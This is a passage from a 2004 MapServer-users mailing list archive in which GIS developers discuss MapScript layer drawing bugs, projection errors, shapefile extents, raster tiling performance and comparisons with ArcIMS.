_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


********************************************************************************
This message is intended only for the use of the Addressee and may
contain information that is PRIVILEGED and CONFIDENTIAL.

If you are not the intended recipient, you are hereby notified that any
dissemination of this communication is strictly prohibited. If you have
received this communication in error, please erase all copies of the
message and its attachments and notify Space Imaging immediately.
********************************************************************************




From ken at rockies.ca  Wed Jan 14 09:54:23 2004
From: ken at rockies.ca (Ken Sanderson)
Date: Wed, 14 Jan 2004 10:54:23 -0700
Subject: [Mapserver-users] Some General Questions about Mapserver
Message-ID: <008001c3dac7$749e8a00$31289f88@GLADSTONE>

Hello. I have been working with ArcIMS the last couple years and for an
upcomming project that makes heavy use of WMS I wanted to look at
Mapserver and see the pro's and con's of using it instead as it seems to
have a better integration with WMS and similar technologies.

I have spent a bunch of hours going through links in the gallery,
playing with the many great sites I have found there, and have still a
few outstanding questions about functionality. I don't need super detail
on how I go about any of this, I am more intersted in the 'yes it is
possible, yea its possible but painful, no its not possible' type of
responses:

1) Can you zoom to a specific layer? If so can you further zoom to
selected records of a layer?
2) I assume that clicking on the map, or moving mouse over, and
returning a xy map coordinate is possible generically and not just with
java?
3) Are you able to buffer features?
4) When you are doing an identify, is it just a drill-down identify that
returns information on all layers, or can you specify a specific layer?
I assume both, but don't recall seeing the option to specify.
5) I seen a couple examples of selecting multiple features by dragging a
box over an area, in all cases it was with a java enhanced site. Is this
only possible using java, if so why? What is the java doing? Does WMS
natively support this type of feature request?
6) One of the big parts of the project is to query a database, return
coords and put it on a map. From what I have seen this seems feasible,
however can you also project these points on the fly? My points are in
Lat/Long coords, my maps in UTM, I 'could' run each point through a
javascript routine I have that will convert each point one at a time,
but I would rather project the whole thing at once as a 'layer'.
7) Any other general comments on differences between ArcIMS and
Mapserver? 

Thanks,

Ken
Miistakis







From keon at nacse.org  Wed Jan 14 10:32:15 2004
From: keon at nacse.org (Dylan Keon)
Date: Wed, 14 Jan 2004 10:32:15 -0800
Subject: [Mapserver-users] 2 MapServer Questions
In-Reply-To: 
References: 
Message-ID: <40058B2F.5000602@nacse.org>

Tom,

I'm not using Sybase SQS but I am using Sybase with MapServer to map 
points from a user's query, and to provide data for each point.  Tyler 
is correct that this sort of thing is not supported "out of the box" in 
the MapServer CGI.  I use PHP's built-in Sybase functions along with PHP 
MapScript to integrate the data with my MapServer app.  But it sounds 
like you're asking whether MapServer can display spatial features stored 
in Sybase SQS - I'm not sure if SQS support is built in to MapServer. 
IIRC, one of UMN's Fornet projects was using SQS in some form.

Regarding determining the extent of your shapefile:  I use the shpdump 
utility that comes packaged with shapelib (shapelib.maptools.org).  I 
just run 'shpdump  | head' (on Linux or UNIX).  The extent is 
listed on the first few lines of output in the form of:

	File Bounds: ( minx, miny)
		 to  ( maxx, maxy)

'minx miny maxx maxy' is the format required by EXTENT in your mapfile. 
  You could also just use ArcExplorer or a similar GIS viewer to 
determine the extent.

--Dylan


Tyler Mitchell wrote:
> 
> 
> 
> 
> I'd say this is a good question, Tom.  I don't think that out of the box
> this is supported.  But this brings a question to mind for me - is anyone
> using ODBC with MapServer (CGI not PHP)?
> 
> Tyler
> 
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/13/2004 09:22:37 AM:
> 
> 
>>Hi All,
>>
>>I am just beginning work with MapServer, and I have a few questions about
> 
> it.
> 
>>- My data is stored in a Sybase database with an SQS.  Can I access
>>it with MapServer?  If so, are there any examples?
>>- I am having a hard time figuring out the extent keyword under map.
>>Does anyone have any pointers about figuring this out for a .shp file?
>>Any help would be greatly appreciated.  Thanks in advance for your
>>time and help.
>>-Tom



From eric at gomoos.org  Wed Jan 14 10:33:34 2004
From: eric at gomoos.org (Eric Bridger)
Date: 14 Jan 2004 13:33:34 -0500
Subject: [Mapserver-users] Re: Adding features to new layerObj (Re: [Mapserver-users]
 mapscript - strange behavior)
In-Reply-To: <9BAC69B6-46B7-11D8-A887-000393B98B56@frii.com>
References: <4004203E.6030406@libero.it>
 <200401131238.52884.spoerri@duke.edu>
 
 <200401141150.24946.spoerri@duke.edu>
 <9BAC69B6-46B7-11D8-A887-000393B98B56@frii.com>
Message-ID: <1074105220.1533.56.camel@ubet.gomoos.org>

I use addFeature() a lot, for both points and map labels (like your
acetate or Sean's copyright) (but Perl mapscript 3.6 only).  Something
here rings a bell, but I can't remember the details.  For points I use
addFeature() just so the point layer is queryable and in that case I
always use $point->draw() in addition to $layer->addFeature($point).But
never $layer-draw(). This is the bell I seem to remember.

Perhaps a work-around in your case would be to use ptObj.draw() instead
of the lyrAcetate.draw().  It's not clear to me from your code where the
additional points are coming from anyway. The lyrAcetate only has 1
point in it as far as I can see.

On Wed, 2004-01-14 at 12:32, Sean Gillies wrote:
> Cristoph,
> 
> I haven't been using inline features of a layer like you are doing,
> so I don't know yet if there are any problems with it.  I have changed
> the subject line of the message to see if we can attract other users
> with experience.
> 
> The method I have used is to define a layer like your acetate layer,
> and then used the draw method of point or shape objects.  Here's an
> example of how I do this using an acetate layer named 'copyright':
> 
>      # Draw copyright label
>      layerobj = mapobj.getLayerByName('copyright')
>      layerobj.status = MS_ON
>      layerobj.getClass(0).label.position = MS_UR
>      p = pointObj()
>      p.x, p.y = (1, mapobj.height-1)
>      p.draw(mapobj, layerobj, imgobj, 0, copyright_text)
> 
> I still think that you could predefine acetate layers in your map file
> for each of point, line, and polygons.  In my opinion, your application  
> may
> benefit from having as many as possible of the map element styles  
> defined
> in the map file.  Try to seperate the logic (your Python code) from
> the presentation (the classes and styles defined in the map file) as
> much as possible.
> 
> OK, enough advice from me :)  Let's see if anyone with experience using
> a layerObj's addFeature will join in and help you.
> 
> cheers,
> Sean
> 
> On Jan 14, 2004, at 9:50 AM, Christoph Spoerri wrote:
> 
> > One thing I wanted to add: the reason I need to create the 'acetate'  
> > layer on
> > the fly is that I'm mapping different layer types (point, line,  
> > polygon) and
> > therefore the classes change. I'm using a pin as point marker, and red  
> > lines
> > for lines/polygons.
> >
> > BTW, when mapping lines, the first feature (line) does not display  
> > with the
> > correct class either (at least it shows though). So does anybody know  
> > what
> > the problem actually is with not showing the first feature correctly  
> > or not
> > at all?
> >
> > Thanks, Christoph
> >
> > On Tuesday 13 January 2004 02:28 pm, Sean Gillies wrote:
> >> On Jan 13, 2004, at 10:38 AM, Christoph Spoerri wrote:
> >>> Hi there,
> >>>
> >>> I'm writing an application that let's user add point features to the
> >>> map by
> >>> clicking on any location of the map. For this purpose I'm using the
> >>> attached
> >>> code (Note: each click on the map results in a request to the server
> >>> for a
> >>> new image).
> >>>
> >>> The problem is that the first point (to be mapped) is not displayed  
> >>> on
> >>> the
> >>> map. Yet when the user clicks on the map for the second time (to add  
> >>> a
> >>> new
> >>> point) both points show up. When checking the .map files everything
> >>> looks
> >>> fine: acetate layer is there, class definition looks fine and point
> >>> coordinates are there.
> >>>
> >>> In case a predefine the acetate layer (w/ class def) in the base .map
> >>> file,
> >>> the first point shows up just fine. Note: this solution is not an
> >>> option
> >>> thought :(
> >>>
> >>> any ideas? Thanks in advance,
> >>> Christoph
> >>>
> >>>
> >>> *********** code ********************
> >>>
> >>> 	x = atof(param['x'])
> >>> 	y = atof(param['y'])
> >>> 	# create point object
> >>>  	ptCoord = getMapPoint([x,y],self._map)
> >>>  	ptObj = pointObj()
> >>>  	ptObj.x=ptCoord[0]
> >>>  	ptObj.y=ptCoord[1]
> >>> 	lnObj = lineObj()
> >>> 	lnObj.add(ptObj)
> >>>
> >>> 	# create new point layer with class and add shape
> >>> 	mapImg=self._map.prepareImage()
> >>> 		lyrAcetate = self._map.getLayerByName('acetate')
> >>> 	if (not isinstance(lyrAcetate,layerObj)):
> >>> 		color = colorObj()
> >>> 		color.red = 255
> >>> 		color.green = 255
> >>> 		color.blue = 255
> >>> 		lyrAcetate = layerObj(self._map)
> >>> 		lyrAcetate.name = "acetate"
> >>> 		lyrAcetate.type = MS_LAYER_POINT
> >>> 		classTemp = classObj(lyrAcetate)
> >>> 		styl = styleObj()
> >>> 		styl.symbolname = "pin"
> >>> 		styl.size = 1
> >>> 		styl.maxsize = 1
> >>> 		styl.minsize = 1
> >>> 		styl.color = color
> >>> 		styl.backgroundcolor = color
> >>> 		styl.outlinecolor = color
> >>> 		classTemp.numstyles=1
> >>> 		classTemp.styles = styl
> >>>
> >>> 	# create shape object and add point to shape object
> >>> 	shpObj = shapeObj(MS_SHAPE_POINT)
> >>> 	shpObj.add(lnObj)
> >>> 	shpObj.setBounds();
> >>> 	shpObj.index = 1
> >>>
> >>> 	lyrAcetate.status = MS_ON
> >>> 	lyrAcetate.addFeature(shpObj)
> >>> 	lyrAcetate.draw(self._map,mapImg)
> >>>
> >>> 	imagename =   \
> >>> self._map.name+mapSession.id()+"_"+str(int(time()))+"."+mapImg.format 
> >>> .e
> >>> xtension
> >>> 	mapImg.save(mapImg.imagepath+imagename)
> >>
> >> Christoph,
> >>
> >> Do I remember correctly that you are using mod_python?  Is this a  
> >> reason
> >> why you say that you cannot predefine your acetate layer?  I hope you
> >> are
> >> not trying to persist a mapObj in the same way that mod_python users  
> >> use
> >> persistent database connections.  MapServer is not fully thread-safe
> >> (yet)
> >> and so you will certainly encounter some trouble with a persistent
> >> mapObj.
> >>
> >> I don't see _anything_ in your code that would prevent the acetate  
> >> layer
> >> from being predefined in your map file.  If it is only a matter of
> >> colors and styles, I strongly recommend that you predefine the acetate
> >> layer and then modify its classes and styles during the script
> >> execution.
> >>
> >> cheers,
> >> Sean
> >>
> >> --
> >> Sean Gillies
> >> sgillies at frii dot com
> >> http://users.frii.com/sgillies
> >
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From pkishor at geoanalytics.com  Wed Jan 14 11:12:15 2004
From: pkishor at geoanalytics.com (Puneet Kishor)
Date: Wed, 14 Jan 2004 13:12:15 -0600
Subject: [Mapserver-users] RE: Mapserver-users digest, Vol 1 #401 - 39 msgs
Message-ID: <14532E49F7A4C54EB77A0C18A243397D0FE8F0@email.geowire.net>

> 
> 1) Can you zoom to a specific layer? If so can you further zoom to
> selected records of a layer?

Yes, yes.

> 2) I assume that clicking on the map, or moving mouse over, and
> returning a xy map coordinate is possible generically and not 
> just with
> java?

Yes.

> 3) Are you able to buffer features?

Yes for point features;
Perhaps for some geometric features (for example, easy for circles,
squares, rects, etc.);
No (or, at least, not easily), for irregular features such as lines and
polys.

> 4) When you are doing an identify, is it just a drill-down 
> identify that
> returns information on all layers, or can you specify a 
> specific layer?

Yes, and yes.


> 5) I seen a couple examples of selecting multiple features by 
> dragging a
> box over an area, in all cases it was with a java enhanced 
> site. Is this
> only possible using java, if so why? What is the java doing? Does WMS
> natively support this type of feature request?

Possible to do it via JavaScript as well, or any client side technology
that will return mouse coords (possibly with SVG or VML, though I
haven't tried it).

> 6) One of the big parts of the project is to query a database, return
> coords and put it on a map. From what I have seen this seems feasible,
> however can you also project these points on the fly? My points are in
> Lat/Long coords, my maps in UTM, I 'could' run each point through a
> javascript routine I have that will convert each point one at a time,
> but I would rather project the whole thing at once as a 'layer'.


My sense is yes, although I haven't done much with projections.

> 7) Any other general comments on differences between ArcIMS and
> Mapserver? 



Seriously, one costs major bucks, the other is free to use, but welcomes
users helping other users.
One generates anger, the other generates passion.
One requires very heavy duty hardware to run decently, the other runs
fine on modest hardware.
One is very fickle and susceptible to crashes, the other is very stable.
One is limited to a few software platforms, the other runs in many more
configs.
One is terrible, the other is discussed here. ;-)

Hth.



From woodbri at swoodbridge.com  Wed Jan 14 11:24:49 2004
From: woodbri at swoodbridge.com (woodbri at swoodbridge.com)
Date: Wed, 14 Jan 2004 14:24:49 -0500
Subject: [Mapserver-users] Microsoft Announced changes coming in IE
Message-ID: <40055131.3309.EFBFB8FF@localhost>

Hi all,

Microsoft announced some changes because of patent dispute that 
effects the behavior of OBJECT, APPLET, and EMBED HTML tags.

This article explains how to deal with this problem with Flash, but 
the concept applies to all the tags above, like for Java applets.

http://www.macromedia.com/devnet/activecontent/articles/devletter.html

-Steve W.


From p.willis at telus.net  Wed Jan 14 12:00:00 2004
From: p.willis at telus.net (pw)
Date: Wed, 14 Jan 2004 12:00:00 -0800
Subject: [Mapserver-users] Mapscript error question
Message-ID: <002801c3dad8$fde46260$2301a8c0@PETER>

Hello,

I am having problems getting mapscript to read my map file under linux.
The errors I get are as follows after a call to  ms_newMapObj("mapfile.map")
:

/*..........................................................................
............................................*/
[14-Jan-2004 11:46:36] PHP Warning:  [MapServer Error]:
msProcessProjection(): no options found in 'init' file
 in file.phtml on line 70
[14-Jan-2004 11:46:36] PHP Warning:  Failed to open map file mapfile.map in
file.phtml on line 70
/*..........................................................................
...........................................*/

How do I find out from Mapserver what path it is looking at for the map
file?
I get the same message if I put the full  'pwd style' file path into the
ms_newMapObj call.

The projection I have in my mapfile.map is defined as follows:

/*..........................................................................
....................*/

NAME THEMAP
STATUS ON
SIZE 600 450
SYMBOLSET ../etc/symbols.sym

PROJECTION
  "proj=cea"
  "ellps=GRS80"
  "lat_0=49"
  "lon_0=-95"
  "lat_1=49"
  "lat_2=77"
  "datum=NAD83"
END

/*..........................................................................
..................*/

The cea projection works fine if I call proj from the command line and
plug some values in.

The dump from mapserv is:

cgi-bin/mapserv -v
MapServer version 4.0.1
OUTPUT=PNG OUTPUT=JPEG
OUTPUT=WBMP
SUPPORTS=PROJ
SUPPORTS=FREETYPE
SUPPORTS=WMS_SERVER
INPUT=TIFF
INPUT=EPPL7 INPUT=JPEG
INPUT=POSTGIS INPUT=OGR
INPUT=GDAL INPUT=SHAPEFILE

Thanks for any insights.

Peter




From spoerri at duke.edu  Wed Jan 14 12:42:05 2004
From: spoerri at duke.edu (Christoph Spoerri)
Date: Wed, 14 Jan 2004 15:42:05 -0500
Subject: Adding features to new layerObj (Re: [Mapserver-users] mapscript - strange behavior)
In-Reply-To: <1074105220.1533.56.camel@ubet.gomoos.org>
References: <4004203E.6030406@libero.it> <9BAC69B6-46B7-11D8-A887-000393B98B56@frii.com> <1074105220.1533.56.camel@ubet.gomoos.org>
Message-ID: <200401141542.05267.spoerri@duke.edu>

Points are actually added one by one. So previous points are stored in the 
.map file when using addFeature().

One thing I observer today (while 'studying' the problem) was that the point 
is actually added, but not with the style I defined. It uses a 1-pixel sized 
dot.

I also tried to add two points at the time (two points in the same feature) or 
two features at the same time, I still don't see the correct style (the pin 
marker).

Now the thing that finally worked (what a hack though!):

	...
	lyrAcetate.addFeature(shpObj)
	self._map.save('/tmp/testing.map')
	tmpMap = mapObj('/tmp/testing.map')
	lyrAcetate = tmpMap.getLayerByName('acetate')
	mapImg=tmpMap.prepareImage()
	lyrAcetate.draw(tmpMap,mapImg)
	...

So, I finally get the functionality I want. Yet I loose some performance when 
adding the first point due to the save/load, but I can live with it.

I was thinking also of submitting a bug report. Does the mapserver project 
have some sort of bug tracker?

Thanks for all your help and patience,
Christoph

On Wednesday 14 January 2004 01:33 pm, Eric Bridger wrote:
> I use addFeature() a lot, for both points and map labels (like your
> acetate or Sean's copyright) (but Perl mapscript 3.6 only).  Something
> here rings a bell, but I can't remember the details.  For points I use
> addFeature() just so the point layer is queryable and in that case I
> always use $point->draw() in addition to $layer->addFeature($point).But
> never $layer-draw(). This is the bell I seem to remember.
>
> Perhaps a work-around in your case would be to use ptObj.draw() instead
> of the lyrAcetate.draw().  It's not clear to me from your code where the
> additional points are coming from anyway. The lyrAcetate only has 1
> point in it as far as I can see.
>
> On Wed, 2004-01-14 at 12:32, Sean Gillies wrote:
> > Cristoph,
> >
> > I haven't been using inline features of a layer like you are doing,
> > so I don't know yet if there are any problems with it.  I have changed
> > the subject line of the message to see if we can attract other users
> > with experience.
> >
> > The method I have used is to define a layer like your acetate layer,
> > and then used the draw method of point or shape objects.  Here's an
> > example of how I do this using an acetate layer named 'copyright':
> >
> >      # Draw copyright label
> >      layerobj = mapobj.getLayerByName('copyright')
> >      layerobj.status = MS_ON
> >      layerobj.getClass(0).label.position = MS_UR
> >      p = pointObj()
> >      p.x, p.y = (1, mapobj.height-1)
> >      p.draw(mapobj, layerobj, imgobj, 0, copyright_text)
> >
> > I still think that you could predefine acetate layers in your map file
> > for each of point, line, and polygons.  In my opinion, your application
> > may
> > benefit from having as many as possible of the map element styles
> > defined
> > in the map file.  Try to seperate the logic (your Python code) from
> > the presentation (the classes and styles defined in the map file) as
> > much as possible.
> >
> > OK, enough advice from me :)  Let's see if anyone with experience using
> > a layerObj's addFeature will join in and help you.
> >
> > cheers,
> > Sean
> >
> > On Jan 14, 2004, at 9:50 AM, Christoph Spoerri wrote:
> > > One thing I wanted to add: the reason I need to create the 'acetate'
> > > layer on
> > > the fly is that I'm mapping different layer types (point, line,
> > > polygon) and
> > > therefore the classes change. I'm using a pin as point marker, and red
> > > lines
> > > for lines/polygons.
> > >
> > > BTW, when mapping lines, the first feature (line) does not display
> > > with the
> > > correct class either (at least it shows though). So does anybody know
> > > what
> > > the problem actually is with not showing the first feature correctly
> > > or not
> > > at all?
> > >
> > > Thanks, Christoph
> > >
> > > On Tuesday 13 January 2004 02:28 pm, Sean Gillies wrote:
> > >> On Jan 13, 2004, at 10:38 AM, Christoph Spoerri wrote:
> > >>> Hi there,
> > >>>
> > >>> I'm writing an application that let's user add point features to the
> > >>> map by
> > >>> clicking on any location of the map. For this purpose I'm using the
> > >>> attached
> > >>> code (Note: each click on the map results in a request to the server
> > >>> for a
> > >>> new image).
> > >>>
> > >>> The problem is that the first point (to be mapped) is not displayed
> > >>> on
> > >>> the
> > >>> map. Yet when the user clicks on the map for the second time (to add
> > >>> a
> > >>> new
> > >>> point) both points show up. When checking the .map files everything
> > >>> looks
> > >>> fine: acetate layer is there, class definition looks fine and point
> > >>> coordinates are there.
> > >>>
> > >>> In case a predefine the acetate layer (w/ class def) in the base .map
> > >>> file,
> > >>> the first point shows up just fine. Note: this solution is not an
> > >>> option
> > >>> thought :(
> > >>>
> > >>> any ideas? Thanks in advance,
> > >>> Christoph
> > >>>
> > >>>
> > >>> *********** code ********************
> > >>>
> > >>> 	x = atof(param['x'])
> > >>> 	y = atof(param['y'])
> > >>> 	# create point object
> > >>>  	ptCoord = getMapPoint([x,y],self._map)
> > >>>  	ptObj = pointObj()
> > >>>  	ptObj.x=ptCoord[0]
> > >>>  	ptObj.y=ptCoord[1]
> > >>> 	lnObj = lineObj()
> > >>> 	lnObj.add(ptObj)
> > >>>
> > >>> 	# create new point layer with class and add shape
> > >>> 	mapImg=self._map.prepareImage()
> > >>> 		lyrAcetate = self._map.getLayerByName('acetate')
> > >>> 	if (not isinstance(lyrAcetate,layerObj)):
> > >>> 		color = colorObj()
> > >>> 		color.red = 255
> > >>> 		color.green = 255
> > >>> 		color.blue = 255
> > >>> 		lyrAcetate = layerObj(self._map)
> > >>> 		lyrAcetate.name = "acetate"
> > >>> 		lyrAcetate.type = MS_LAYER_POINT
> > >>> 		classTemp = classObj(lyrAcetate)
> > >>> 		styl = styleObj()
> > >>> 		styl.symbolname = "pin"
> > >>> 		styl.size = 1
> > >>> 		styl.maxsize = 1
> > >>> 		styl.minsize = 1
> > >>> 		styl.color = color
> > >>> 		styl.backgroundcolor = color
> > >>> 		styl.outlinecolor = color
> > >>> 		classTemp.numstyles=1
> > >>> 		classTemp.styles = styl
> > >>>
> > >>> 	# create shape object and add point to shape object
> > >>> 	shpObj = shapeObj(MS_SHAPE_POINT)
> > >>> 	shpObj.add(lnObj)
> > >>> 	shpObj.setBounds();
> > >>> 	shpObj.index = 1
> > >>>
> > >>> 	lyrAcetate.status = MS_ON
> > >>> 	lyrAcetate.addFeature(shpObj)
> > >>> 	lyrAcetate.draw(self._map,mapImg)
> > >>>
> > >>> 	imagename =   \
> > >>> self._map.name+mapSession.id()+"_"+str(int(time()))+"."+mapImg.format
> > >>> .e
> > >>> xtension
> > >>> 	mapImg.save(mapImg.imagepath+imagename)
> > >>
> > >> Christoph,
> > >>
> > >> Do I remember correctly that you are using mod_python?  Is this a
> > >> reason
> > >> why you say that you cannot predefine your acetate layer?  I hope you
> > >> are
> > >> not trying to persist a mapObj in the same way that mod_python users
> > >> use
> > >> persistent database connections.  MapServer is not fully thread-safe
> > >> (yet)
> > >> and so you will certainly encounter some trouble with a persistent
> > >> mapObj.
> > >>
> > >> I don't see _anything_ in your code that would prevent the acetate
> > >> layer
> > >> from being predefined in your map file.  If it is only a matter of
> > >> colors and styles, I strongly recommend that you predefine the acetate
> > >> layer and then modify its classes and styles during the script
> > >> execution.
> > >>
> > >> cheers,
> > >> Sean
> > >>
> > >> --
> > >> Sean Gillies
> > >> sgillies at frii dot com
> > >> http://users.frii.com/sgillies
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From pramsey at refractions.net  Wed Jan 14 13:15:29 2004
From: pramsey at refractions.net (Paul Ramsey)
Date: Wed, 14 Jan 2004 13:15:29 -0800
Subject: [Mapserver-users] Dataset with 120'000 tiles
In-Reply-To: 
References: 
Message-ID: <4005B171.2000300@refractions.net>

Probably the folks at Topozone have.
First, make sure you have a shapeindex file that provides a quick way 
for mapserver to figure out what tiles are useful for a particular map. 
Make sure you build an index file (.qix) for that shapeindex file.
Finally, formats like TIFF are way faster than formats like JPG/PNG/GIF. 
This is because TIFF can be partially accessed (give me the top 20% of 
the file) way faster than JPEG, which has to be completely decompressed 
before it can be accessed.
Paul

Flavio Hendry wrote:

> hi list
> 
> anybody worked with such a dataset (120'000 raster tiles) ? 
> are there any performance issues ?
> 
> thx.
> 
> Mit freundlichem Gruss / Best Regards
> Flavio Hendry
> 
> ----------------------------------------------------------------
> ++++++++++ Neue Neapoljs Seiten auf www.neapoljs.com +++++++++++
> ----------------------------------------------------------------
> ############      Mit freundlichen Gruessen / Best Regards
> ############       Flavio Hendry- mailto:flavio at tydac.ch
> ############         TYDAC AG - http://www.tydac.ch
> ####    ####        Geographic Information Solutions
> ####    ####         Luternauweg 12 -- CH-3006 Bern
> ############   Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860
> ----------------------------------------------------------------
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


-- 
       __
      /
      | Paul Ramsey
      | Refractions Research
      | Email: pramsey at refractions.net
      | Phone: (250) 885-0632
      \_



From jcable at gi.alaska.edu  Wed Jan 14 13:17:30 2004
From: jcable at gi.alaska.edu (Jay Cable)
Date: Wed, 14 Jan 2004 12:17:30 -0900 (AKST)
Subject: [Mapserver-users] Shape file and AUTO projection problems
In-Reply-To: <001901c3da56$b6b7fe60$dca110ac@lamle>
References: 
 <001901c3da56$b6b7fe60$dca110ac@lamle>
Message-ID: 

I tried the modification, but I still get a similar results.

Digging though the mapserver code, it appears that in the case of the
funky lines, the  projection code (pj_transform) is returning a error
condition, which is then returned by msProjectPoint, but ignored upstream
of msProjectPoint.  The points that fail to project are set to some
default to (0,0), causing extra lines are drawn to the center.

>From msProjectPoint:

      error = pj_transform( in->proj, out->proj, 1, 0,
                            &(point->x), &(point->y), &z );

      if( error )
         {
          return MS_FAILURE;
         }




>From msProjectLine:

	msProjectPoint(in, out, &(line->point[i]));

	msProjectPoint(in, out, &(line->point[i]));


I think I am going to hack the code to drop all lines that contain points
that had projection errors.   Has anyone encountered this problem before and
performed a similar fix?

Thanks,
  -Jay Cable
  jcable at gi.alaska.edu

On Wed, 14 Jan 2004, Le Ngoc Lam wrote:

=> I guess its projection is wrong.
=> Try modification below.
=> Regards,
=>
=> Lam
=> ---------
=>
=>
=> EXTENT -180.0 -90.0 180.0 90.0
=>   IMAGECOLOR 255 255 255
=>
=>   IMAGETYPE GIF
=>
=>   PROJECTION
=> #    "init=epsg:4318"
=>   "init=epsg:4326"
=>
=>   END
=>
=>   WEB
=>     IMAGEPATH '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/'
=>     IMAGEURL '/htdocs/tmp/'
=>     LOG '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/log'
=>
=>     METADATA
=>         "wms_srs"                   "EPSG:4318 AUTO:42003 AUTO:42001
=> AUTO:42002 AUTO:42004   AUTO:42008"
=>     END
=>
=>   END
=>
=>
=>   # Start of LAYER DEFINITIONS
=> ---------------------------------------------
=>   LAYER # country polygon layer begins here
=>     NAME Country
=>     DATA "/scratch/jcable/shape_files/country"
=>     STATUS DEFAULT
=>     TYPE LINE
=>
=>     PROJECTION
=> #      "init=epsg:4318"
=>   "init=epsg:4326"
=>
=>     END
=>
=>     CLASS
=>       #COLOR 232 0 0
=>       OUTLINECOLOR 232 0 0
=>     END
=>   END # country polygon layer ends here
=>   # End of LAYER DEFINITIONS -------------------------------
=>
=> END # end of map file/object
=>
=>
=>
=> ----- Original Message -----
=> From: "Jay Cable" 
=> To: 
=> Sent: Wednesday, January 14, 2004 3:15 AM
=> Subject: [Mapserver-users] Shape file and AUTO projection problems
=>
=>
=> >
=> > Hello,
=> > I am having problems using shapefiles and the AUTO:42003 projection.  When
=> > displaying views of data the encompass the entire earth, mapserver appears
=> > to draw a lot of extra lines to the origin.
=> >
=> > Here is a sample image with this problem:
=> > http://oldlady.gina.alaska.edu/~jcable/broken.gif
=> >
=> > The problem appears to go away when the area displayed is reduced:
=> > http://oldlady.gina.alaska.edu/~jcable/working.gif
=> >
=> >
=> > I believe the shapefiles are correct, as they are sample shape files
=> > provided by ERSI.  I have also tried other shapefiles and encountered the
=> > same problem.
=> >
=> > The problem does not appear to occur with other projections I tried.
=> >
=> > Any suggestions as to how I can get around or fix this?  Am I doing
=> > something wrong?  I tried adjusting the extent with no effect.
=> >
=> > I am using mapserver 4.0, but also tried the latest 4.0.1, and it does the
=> > same thing.
=> >
=> > Thanks in advance,
=> >   -Jay Cable
=> >   jcable at gi.alaska.edu
=> >
=> > -----------------------------------------------------------------------
=> >
=> > Here is what my map file looks like:
=> >
=> >   EXTENT -180.0 -90.0 180.0 90.0
=> >   IMAGECOLOR 255 255 255
=> >
=> >   IMAGETYPE GIF
=> >
=> >   PROJECTION
=> >     "init=epsg:4318"
=> >   END
=> >
=> >   WEB
=> >     IMAGEPATH '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/'
=> >     IMAGEURL '/htdocs/tmp/'
=> >     LOG '/home/jcable/SOFTWARE/MAPPING_STUFF/http/htdocs/tmp/log'
=> >
=> >     METADATA
=> >         "wms_srs"                   "EPSG:4318 AUTO:42003 AUTO:42001
=> AUTO:42002 AUTO:42004   AUTO:42008"
=> >     END
=> >
=> >   END
=> >
=> >
=> >   # Start of LAYER DEFINITIONS
=> > ---------------------------------------------
=> >   LAYER # country polygon layer begins here
=> >     NAME Country
=> >     DATA "/scratch/jcable/shape_files/country"
=> >     STATUS DEFAULT
=> >     TYPE LINE
=> >
=> >     PROJECTION
=> >       "init=epsg:4318"
=> >     END
=> >
=> >     CLASS
=> >       #COLOR 232 0 0
=> >       OUTLINECOLOR 232 0 0
=> >     END
=> >   END # country polygon layer ends here
=> >   # End of LAYER DEFINITIONS -------------------------------
=> >
=> > END # end of map file/object
=> >
=> >
=> >
=> >
=> > ****************************************************************
=> > Jay Cable                                GINA/ION
=> > tel (907) 474-1856                       Geophysical Institute
=> > jcable at gi.alaska.edu                     University of Alaska
=> >                             P.O. Box 757320
=> >                                          Fairbanks, AK 99775-7320
=> > *****************************************************************
=> > _______________________________________________
=> > Mapserver-users mailing list
=> > Mapserver-users at lists.gis.umn.edu
=> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
=> >
=>
=> _______________________________________________
=> Mapserver-users mailing list
=> Mapserver-users at lists.gis.umn.edu
=> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
=>


From woodbri at swoodbridge.com  Wed Jan 14 13:20:12 2004
From: woodbri at swoodbridge.com (woodbri at swoodbridge.com)
Date: Wed, 14 Jan 2004 16:20:12 -0500
Subject: [Mapserver-users] labels generated upside down
Message-ID: <40056C3C.6484.F0295ADE@localhost>

Hi all,

Labelling streets I get occasional labels the are placed upside down. 
Using ANGLE AUTO

This happens with two different builds using similar but slightly 
different versions of libraries. Is this a know bug? I could find it 
in bugzilla.

Linux build
MS 4.0
later/latest copies of GD 2
later/latest copies of freetype
GDAL, proj, etc


-Steve W.


From steve.lime at dnr.state.mn.us  Wed Jan 14 13:33:59 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 14 Jan 2004 15:33:59 -0600
Subject: [Mapserver-users] Measure tool
Message-ID: 

Actually I'd ask folks for help implementing a measure tool for dbox.js.
The way to do it is pretty well known. Since you can't draw a non
horizontal or vertical line you have to approximate it using a bunch of
vertices (DHTML layers) placed along a line between the initial click
and mouse position. Shouldn't be hard to do, I've seen several examples,
but I've not had the time to do it myself. I'd really like to keep the
two in sync...

Steve

>>> Steve McCrone  1/14/2004 8:06:44 AM >>>
I am working with the "DHTML rubber band box" sample, found at  - 
  http://maps.dnr.state.mn.us/mapserver_demos/workshop 

 I wish to implement a mouse mesuring tool that will return segment and
cumulative distances. I see the JBox java applet can do this. 

The above example comes with a js file "DBox.js" which produces a
dynamic rectangle for zoom in. Would you suggest changing entirely over
to the JBox applet to achieve rubber-band zoom, mouse coordiantes and
meaure tool? 



Thanks


From mgleahy at fes.uwaterloo.ca  Wed Jan 14 13:43:23 2004
From: mgleahy at fes.uwaterloo.ca (Mike Leahy)
Date: Wed, 14 Jan 2004 16:43:23 -0500
Subject: [Mapserver-users] RE: Compiling PHP_MapScript.dll
